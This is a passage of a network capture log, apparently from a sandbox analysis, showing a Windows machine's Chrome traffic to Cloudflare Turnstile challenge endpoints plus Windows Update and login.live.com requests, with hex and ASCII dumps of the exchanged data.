https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/pgbyu/0x4AAAAAAAhkfK1nz8jjG-wE/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:20 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:20 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8b7bbf9a3c340f3e-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:20 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 42 00 00 00 19 08 02 00 00 00 0a 7f 6f 8b 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRBoIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49728	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:21 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8b7bbf6dd949c43b/1724422877786/uHR2yhc274LAQhN HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:21 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:21 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8b7bbf9f1c784373-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:21 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 42 00 00 00 19 08 02 00 00 00 0a 7f 6f 8b 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRBoIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49729	104.18.94.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:21 UTC	927	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1951288111:1724419459:8EAu7ulGDYQ-Xpuv-Cm2AsntVJVkYdoyTkwZrlqscxg/8b7bbf6dd949c43b/76b287cdb3503ee HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32288 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 76b287cdb3503ee sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/pgbyu/0x4AAAAAAAhkfK1nz8jjG-wE/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:21 UTC	16384	OUT	Data Raw: 76 5f 38 62 37 62 62 66 36 64 64 39 34 39 63 34 33 62 3d 42 65 47 4c 67 41 24 25 32 62 32 45 34 75 65 6b 37 50 77 50 77 75 47 24 43 50 59 50 4e 4c 34 38 55 2b 24 67 50 30 38 64 32 24 2d 50 52 74 50 4f 24 72 41 4c 24 74 4b 65 50 48 4b 50 64 63 50 24 57 4a 50 39 50 72 66 48 73 50 61 74 41 59 50 48 73 65 4c 75 34 4c 6c 34 50 4e 50 72 58 55 47 47 4a 38 55 69 50 4c 63 6e 6e 71 74 75 6c 39 74 50 71 50 4a 38 24 6e 50 45 38 55 75 50 55 43 4c 24 59 6c 4c 32 50 4a 76 41 79 59 4c 4c 50 55 39 50 55 4a 47 4b 63 43 64 67 50 75 50 24 58 6e 6e 63 32 4a 34 4c 24 45 41 4b 78 2b 65 48 6b 52 2b 38 50 6e 34 7a 32 74 34 38 78 6e 4b 7a 6e 5a 50 6d 48 47 6e 41 4d 6e 67 50 41 64 57 64 47 36 72 50 24 59 54 52 72 43 36 62 49 6a 52 6e 37 41 6a 62 62 43 50 56 79 42 49 4e 7a 39 34 69 Data Ascii: v_8b7bbf6dd949c43b=BeGLgA$%2b2E4uek7PwPwuG$CPYPNL48U+$gP08d2$-PRtPO$rAL$tKePHKPdcP$WJP9PrfHsPatAYPHseLu4Ll4PNPrXUGGJ8UiPLcnnqtul9tPqPJ8$nPE8UuPUCL$YlL2PJvAyYLLPU9PUJGKcCdgPuP$Xnnc2J4L$EAKx+eHkR+8Pn4z2t48xnKznZPmHGnAMngPAdWdG6rP$YTRrC6bIjRn7AjbbCPVyBINz94i
2024-08-23 14:21:21 UTC	15904	OUT	Data Raw: 38 75 76 70 6d 51 77 4c 32 50 69 50 52 50 75 4c 6b 38 50 47 4c 2b 50 6c 4c 38 4c 42 69 50 7a 50 72 65 24 38 50 31 4c 34 38 75 74 50 37 50 77 34 64 4b 55 59 50 49 47 6d 74 24 41 50 32 4c 6b 32 43 35 50 43 4c 41 32 55 32 50 59 4c 55 32 24 53 50 37 50 64 50 50 59 50 39 4c 55 34 41 76 4c 61 4c 41 50 41 36 50 4d 4c 72 65 50 4c 50 65 4c 39 47 24 56 51 43 34 39 65 55 74 50 35 50 4b 38 6b 4d 50 57 34 64 7a 50 61 57 72 50 57 74 55 37 50 63 38 50 47 24 57 50 4b 4c 55 41 50 74 24 4c 4c 75 32 55 4b 24 41 50 76 47 55 75 50 4e 50 4a 4c 64 53 50 71 4c 55 45 24 34 24 62 4c 6b 34 41 45 50 4e 50 39 61 50 51 74 4a 38 50 4c 55 7a 38 47 50 4b 63 6e 41 74 24 50 6b 65 24 4c 50 35 47 72 4d 6a 50 38 6e 4c 6e 32 4b 75 24 76 4c 39 4c 50 4a 24 4b 41 45 32 39 6a 73 66 4c 4b 39 41 76 Data Ascii: 8uvpmQwL2PiPRPuLk8PGL+PlL8LBiPzPre$8P1L48utP7Pw4dKUYPIGmt$AP2Lk2C5PCLA2U2PYLU2$SP7PdPPYP9LU4AvLaLAPA6PMLrePLPeL9G$VQC49eUtP5PK8kMPW4dzPaWrPWtU7Pc8PG$WPKLUAPt$LLu2UK$APvGUuPNPJLdSPqLUE$4$bLk4AEPNP9aPQtJ8PLUz8GPKcnAt$Pke$LP5GrMjP8nLn2Ku$vL9LPJ$KAE29jsfLK9Av
2024-08-23 14:21:21 UTC	330	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:21 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26248 Connection: close cf-chl-gen: uy0gz3DA8+AkmPeUFTgLcLkds1hildBlgqMIGLyqSX5EQPLr3V77moJ8unLrotVlh24rrOX+yFBPLWdf$5u78i8YVvxzfqy7v Server: cloudflare CF-RAY: 8b7bbf9f2e464261-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:21 UTC	1039	IN	Data Raw: 74 6e 69 4f 6b 58 69 65 75 36 2b 33 75 63 4f 31 74 59 61 34 70 73 65 64 6d 71 71 4d 79 6f 57 75 6b 4d 36 4e 79 34 33 53 74 36 57 68 77 37 66 4b 79 5a 65 65 77 62 66 54 30 65 47 36 73 4a 2f 63 74 72 6a 4d 70 38 4b 6c 74 36 2f 43 34 36 36 74 7a 64 44 69 74 76 72 6a 79 62 6e 2b 2b 64 4c 78 75 50 4b 35 30 41 53 34 34 74 63 4a 33 50 66 43 43 4d 62 46 36 66 48 74 30 67 37 30 43 63 2f 73 38 2b 6a 35 32 66 45 56 47 52 6e 54 47 78 54 68 48 75 45 6b 32 69 67 6b 4a 66 67 6d 4a 79 33 71 43 53 63 52 41 2f 34 6e 46 43 63 53 45 51 55 56 39 79 67 77 51 66 37 30 41 6a 77 50 47 55 4d 6f 50 45 49 68 54 43 59 36 49 68 35 54 53 30 6c 56 46 56 67 6a 54 78 55 30 50 56 70 4c 46 69 77 61 4f 44 38 39 4d 44 74 56 49 79 5a 41 62 45 6f 33 4c 6b 77 72 4c 47 42 6c 53 44 31 48 64 46 49 Data Ascii: tniOkXieu6+3ucO1tYa4psedmqqMyoWukM6Ny43St6Whw7fKyZeewbfT0eG6sJ/ctrjMp8Klt6/C466tzdDitvrjybn++dLxuPK50AS44tcJ3PfCCMbF6fHt0g70Cc/s8+j52fEVGRnTGxThHuEk2igkJfgmJy3qCScRA/4nFCcSEQUV9ygwQf70AjwPGUMoPEIhTCY6Ih5TS0lVFVgjTxU0PVpLFiwaOD89MDtVIyZAbEo3LkwrLGBlSD1HdFI
2024-08-23 14:21:21 UTC	1369	IN	Data Raw: 52 73 63 6a 41 6d 62 79 61 79 62 43 73 6f 61 75 73 73 71 48 46 72 72 48 4d 73 4b 65 34 75 73 2f 64 74 5a 6a 43 78 4c 76 65 35 64 50 49 76 61 6d 30 79 38 76 6a 7a 75 36 36 78 75 7a 52 74 4d 76 68 34 73 4c 34 36 4f 76 76 33 39 4c 7a 7a 65 50 63 33 74 4c 6a 35 4f 50 57 33 39 33 6e 33 75 66 75 37 39 37 6e 37 76 44 69 36 2b 6e 57 44 4f 66 31 36 78 72 34 37 76 62 63 48 78 6b 64 41 53 4d 55 42 52 49 4c 46 4f 54 71 49 52 76 2b 4a 52 44 38 2f 6a 44 74 4f 41 34 4c 37 50 63 4f 50 52 38 30 46 55 4d 64 49 67 55 64 4e 79 51 35 48 54 73 44 53 42 30 62 47 54 31 48 4c 6b 6c 4e 44 31 67 6a 54 53 4a 54 4a 45 56 66 4f 43 30 36 50 46 55 6a 55 55 35 65 56 79 68 42 53 43 56 5a 54 79 78 73 4c 46 78 64 51 57 63 79 64 55 52 73 57 7a 55 36 62 54 74 52 63 45 42 5a 66 56 56 79 56 46 Data Ascii: RscjAmbyaybCsoaussqHFrrHMsKe4us/dtZjCxLve5dPIvam0y8vjzu66xuzRtMvh4sL46Ovv39LzzePc3tLj5OPW393n3ufu797n7vDi6+nWDOf16xr47vbcHxkdASMUBRILFOTqIRv+JRD8/jDtOA4L7PcOPR80FUMdIgUdNyQ5HTsDSB0bGT1HLklND1gjTSJTJEVfOC06PFUjUU5eVyhBSCVZTyxsLFxdQWcydURsWzU6bTtRcEBZfVVyVF
2024-08-23 14:21:21 UTC	1369	IN	Data Raw: 77 37 2b 77 77 5a 47 6c 31 4b 62 56 30 74 69 58 78 4e 75 6d 75 64 6e 41 31 72 57 38 6c 64 36 2b 75 70 32 38 79 72 79 71 35 63 58 67 34 72 76 71 75 75 50 41 78 37 58 34 7a 2b 33 49 75 65 6a 4a 79 64 48 53 7a 39 50 52 33 4e 30 42 35 64 76 6c 34 65 72 6f 37 76 37 4c 43 38 2f 72 35 67 50 30 79 4f 44 4b 36 63 77 4a 31 2f 49 49 41 64 66 36 45 41 58 64 2b 74 77 45 34 50 6b 54 49 77 30 46 2f 65 63 64 41 52 37 73 45 65 76 7a 38 42 4d 4b 41 78 49 4c 46 69 72 34 4b 6a 38 41 47 6a 67 43 4a 76 30 48 46 79 51 56 48 42 34 66 54 41 73 4c 43 6a 56 49 4c 41 6b 51 56 78 52 53 4b 30 55 59 59 44 35 56 4d 6b 4e 66 54 30 59 76 57 53 4a 44 54 46 68 6d 4e 6b 46 45 5a 30 63 78 59 6a 4a 4c 59 44 46 45 53 31 6c 55 61 57 68 77 54 32 4a 79 55 47 56 38 51 32 61 46 50 31 52 6b 69 32 68 Data Ascii: w7+wwZGl1KbV0tiXxNumudnA1rW8ld6+up28yryq5cXg4rvquuPAx7X4z+3IuejJydHSz9PR3N0B5dvl4ero7v7LC8/r5gP0yODK6cwJ1/IIAdf6EAXd+twE4PkTIw0F/ecdAR7sEevz8BMKAxILFir4Kj8AGjgCJv0HFyQVHB4fTAsLCjVILAkQVxRSK0UYYD5VMkNfT0YvWSJDTFhmNkFEZ0cxYjJLYDFES1lUaWhwT2JyUGV8Q2aFP1Rki2h
2024-08-23 14:21:21 UTC	1369	IN	Data Raw: 4d 65 75 30 4d 79 68 73 4a 72 57 76 4e 71 63 31 70 69 64 6e 37 6e 44 33 62 7a 48 74 36 4b 72 36 4c 6d 35 32 4d 53 75 78 4f 58 76 7a 74 4c 4d 36 71 2f 53 7a 72 4c 2b 75 72 6a 4d 34 64 76 4d 33 64 62 6b 77 63 44 47 43 66 58 69 34 2f 66 34 7a 67 6a 4c 39 4e 30 45 36 77 44 31 42 51 6a 35 32 78 72 34 47 42 38 4e 48 42 76 68 2f 51 49 66 4a 53 45 71 46 66 67 71 48 41 37 77 35 78 49 71 4a 68 62 75 38 77 38 6f 2b 69 30 77 44 54 63 4c 49 6a 34 41 45 41 35 41 4f 79 45 30 52 6a 4d 73 4f 42 38 47 52 6a 45 4a 50 54 49 70 4c 6b 6c 48 4b 41 77 6b 4d 68 59 77 48 46 77 54 4f 54 70 6c 46 7a 31 47 5a 53 64 6e 59 43 6b 74 52 43 55 74 4f 6a 31 54 51 43 64 4e 62 48 55 72 64 33 42 34 52 58 6f 31 50 54 4e 5a 64 33 6c 64 57 6e 70 47 64 57 46 6d 65 34 4b 44 67 31 6c 63 68 58 46 67 Data Ascii: Meu0MyhsJrWvNqc1pidn7nD3bzHt6Kr6Lm52MSuxOXvztLM6q/SzrL+urjM4dvM3dbkwcDGCfXi4/f4zgjL9N0E6wD1BQj52xr4GB8NHBvh/QIfJSEqFfgqHA7w5xIqJhbu8w8o+i0wDTcLIj4AEA5AOyE0RjMsOB8GRjEJPTIpLklHKAwkMhYwHFwTOTplFz1GZSdnYCktRCUtOj1TQCdNbHUrd3B4RXo1PTNZd3ldWnpGdWFme4KDg1lchXFg
2024-08-23 14:21:21 UTC	1369	IN	Data Raw: 69 37 74 61 32 57 30 64 6a 54 33 36 32 35 77 4b 48 6c 34 37 79 6a 33 61 76 6d 71 4f 33 71 34 75 2f 74 38 39 58 54 74 50 62 76 2b 2f 72 71 36 37 76 41 75 39 50 6b 32 4d 37 57 38 64 59 44 2f 4e 6a 48 36 66 33 36 41 50 48 6c 45 67 6b 4e 34 65 6f 59 46 52 6a 70 44 52 51 59 33 75 38 66 46 68 54 31 33 41 41 53 46 76 66 69 42 79 59 4a 47 53 59 50 38 50 73 55 45 42 4c 2b 4d 52 54 79 45 43 73 64 4f 42 73 2b 50 42 63 43 2f 66 35 46 42 30 4d 32 53 30 6b 49 49 42 6c 43 45 41 77 37 4b 43 56 4f 55 30 73 75 54 6a 49 36 54 78 55 30 56 54 78 57 56 7a 39 55 4a 57 5a 47 47 6c 6b 6d 4b 6a 59 6f 61 6e 42 67 63 48 41 73 58 55 6c 55 55 54 64 54 52 45 5a 77 57 7a 5a 34 56 6a 68 5a 4f 31 68 53 54 6c 68 53 5a 6c 65 46 67 32 74 62 56 33 42 35 59 6d 43 42 61 6e 47 41 64 70 46 56 57 Data Ascii: i7ta2W0djT3625wKHl47yj3avmqO3q4u/t89XTtPbv+/rq67vAu9Pk2M7W8dYD/NjH6f36APHlEgkN4eoYFRjpDRQY3u8fFhT13AASFvfiByYJGSYP8PsUEBL+MRTyECsdOBs+PBcC/f5FB0M2S0kIIBlCEAw7KCVOU0suTjI6TxU0VTxWVz9UJWZGGlkmKjYoanBgcHAsXUlUUTdTREZwWzZ4VjhZO1hSTlhSZleFg2tbV3B5YmCBanGAdpFVW
2024-08-23 14:21:21 UTC	1369	IN	Data Raw: 74 34 61 43 62 76 64 76 41 74 63 6e 72 78 4d 4f 73 70 36 7a 75 79 66 53 30 77 63 6e 31 75 4e 58 44 79 4c 7a 55 79 66 76 58 38 39 45 44 33 65 48 6c 42 4d 62 37 33 51 76 6b 35 4e 2f 61 7a 67 34 41 46 65 7a 48 31 41 7a 77 46 2b 2f 6a 32 73 2f 61 35 39 2f 39 38 2f 44 6a 47 4f 2f 30 46 69 6a 38 41 53 49 73 44 68 45 79 43 50 77 66 44 67 34 52 4d 68 51 32 43 54 67 36 42 68 72 78 38 6a 38 77 44 7a 35 42 50 42 59 36 51 41 51 71 51 43 34 37 4a 55 55 69 42 54 78 56 4e 44 46 47 57 53 55 74 52 52 70 62 4e 52 5a 63 57 6c 63 69 58 6a 6c 50 58 32 56 68 58 44 68 73 56 31 39 6f 61 56 70 6e 4d 58 52 66 5a 33 51 72 62 58 6c 78 66 6c 68 79 57 34 4a 4c 65 6c 56 5a 59 56 4f 48 58 57 56 58 69 34 4b 4b 67 56 31 68 68 6d 4e 6f 55 70 4e 68 61 49 68 78 61 5a 56 72 57 46 71 64 6b 48 Data Ascii: t4aCbvdvAtcnrxMOsp6zuyfS0wcn1uNXDyLzUyfvX89ED3eHlBMb73Qvk5N/azg4AFezH1AzwF+/j2s/a59/98/DjGO/0Fij8ASIsDhEyCPwfDg4RMhQ2CTg6Bhrx8j8wDz5BPBY6QAQqQC47JUUiBTxVNDFGWSUtRRpbNRZcWlciXjlPX2VhXDhsV19oaVpnMXRfZ3QrbXlxflhyW4JLelVZYVOHXWVXi4KKgV1hhmNoUpNhaIhxaZVrWFqdkH
2024-08-23 14:21:21 UTC	1369	IN	Data Raw: 6f 74 6d 6c 35 4d 7a 72 75 2b 6a 70 36 71 76 67 37 39 43 7a 39 65 37 7a 79 50 6e 6c 76 72 2f 36 75 39 2f 39 37 72 37 39 78 2f 4c 79 78 73 67 47 42 73 73 4f 2f 4d 37 51 33 77 30 50 43 39 49 55 31 77 50 62 47 76 41 62 33 42 38 4d 36 78 6f 47 33 67 67 6a 45 76 63 6e 4a 43 66 6d 45 43 38 5a 41 52 34 45 49 68 38 45 39 78 67 76 4e 41 63 37 2b 79 6f 79 50 77 45 5a 51 30 41 2f 49 41 56 43 48 51 52 4b 52 67 30 64 54 45 34 36 54 77 39 53 4b 53 30 52 56 46 4d 6c 57 46 56 58 55 78 74 63 49 45 73 6b 59 6a 6c 6a 4a 57 64 55 4e 47 4a 4f 4a 31 42 72 57 6b 42 76 62 47 38 76 57 48 64 68 53 57 5a 4d 61 6d 64 4d 51 47 42 33 66 45 2b 44 52 48 4f 4a 68 33 4e 73 66 6f 74 4e 5a 6c 6d 4b 55 47 46 4e 6b 47 57 50 6b 70 61 44 5a 5a 57 5a 63 5a 2b 65 6e 70 65 4f 6e 70 4b 46 70 6d 4b Data Ascii: otml5Mzru+jp6qvg79Cz9e7zyPnlvr/6u9/97r79x/LyxsgGBssO/M7Q3w0PC9IU1wPbGvAb3B8M6xoG3ggjEvcnJCfmEC8ZAR4EIh8E9xgvNAc7+yoyPwEZQ0A/IAVCHQRKRg0dTE46Tw9SKS0RVFMlWFVXUxtcIEskYjljJWdUNGJOJ1BrWkBvbG8vWHdhSWZMamdMQGB3fE+DRHOJh3NsfotNZlmKUGFNkGWPkpaDZZWZcZ+enpeOnpKFpmK
2024-08-23 14:21:21 UTC	1369	IN	Data Raw: 75 37 45 38 72 4c 78 79 50 4b 78 38 37 66 6d 74 66 66 6d 36 72 76 37 76 37 75 2b 41 65 37 41 30 41 58 63 43 38 4d 49 79 2f 72 4a 44 51 73 4c 7a 42 48 2b 7a 39 59 55 31 2f 6a 56 47 42 63 62 32 68 38 4c 49 39 30 69 44 78 50 6e 4a 42 4d 58 36 79 6a 73 2f 4f 38 73 4b 79 2f 7a 4d 53 2f 76 37 7a 54 33 4d 2f 6f 35 2b 7a 66 34 50 69 73 30 44 55 45 2f 4a 51 46 45 43 44 38 4d 53 54 63 33 43 30 34 37 54 42 78 51 50 7a 38 52 56 42 6b 6c 46 56 67 63 58 78 70 66 4e 6a 42 57 59 45 4a 51 4e 45 68 6a 57 79 6c 70 61 44 6b 73 62 47 74 62 4d 58 46 66 58 7a 42 30 63 32 73 38 65 6d 64 76 4f 58 35 72 62 30 47 42 66 32 56 44 68 58 4e 37 52 59 74 68 67 31 43 4d 55 45 78 4f 6b 48 2b 44 56 5a 57 54 67 31 79 62 68 35 4e 64 6e 57 43 50 58 4b 46 35 6a 32 65 6e 66 6e 70 30 71 4b 65 66 Data Ascii: u7E8rLxyPKx87fmtffm6rv7v7u+Ae7A0AXcC8MIy/rJDQsLzBH+z9YU1/jVGBcb2h8LI90iDxPnJBMX6yjs/O8sKy/zMS/v7zT3M/o5+zf4Pis0DUE/JQFECD8MSTc3C047TBxQPz8RVBklFVgcXxpfNjBWYEJQNEhjWylpaDksbGtbMXFfXzB0c2s8emdvOX5rb0GBf2VDhXN7RYthg1CMUExOkH+DVZWTg1ybh5NdnWCPXKF5j2enfnp0qKef

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49732	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:21 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1951288111:1724419459:8EAu7ulGDYQ-Xpuv-Cm2AsntVJVkYdoyTkwZrlqscxg/8b7bbf6dd949c43b/76b287cdb3503ee HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:22 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 23 Aug 2024 14:21:22 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: rxDTqfhXJfIliuQJWDjhpV9+RLTp1Zv5MNo=$i2DYcxg/tZ02Pt/W Server: cloudflare CF-RAY: 8b7bbfa4aa0a18f6-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:22 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49731	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:22 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RGfvLSaw8nkh3GL&MD=kE83BM7R HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-08-23 14:21:22 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: d82c0dae-b5ba-4af7-9cb4-4f7f806d93d2 MS-RequestId: e797d5cb-d4f1-4287-be31-2499d63f884d MS-CV: kFn4hTFad0OcpJjQ.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 23 Aug 2024 14:21:21 GMT Connection: close Content-Length: 24490
2024-08-23 14:21:22 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-08-23 14:21:22 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49730	20.190.159.71	443

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:22 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-08-23 14:21:22 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-08-23 14:21:22 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 23 Aug 2024 14:20:22 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BL2 x-ms-request-id: f2f403d9-27b9-4b2e-b7cf-d424217fdadb PPServer: PPV: 30 H: BL02EPF0001D7F7 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 23 Aug 2024 14:21:21 GMT Connection: close Content-Length: 11389
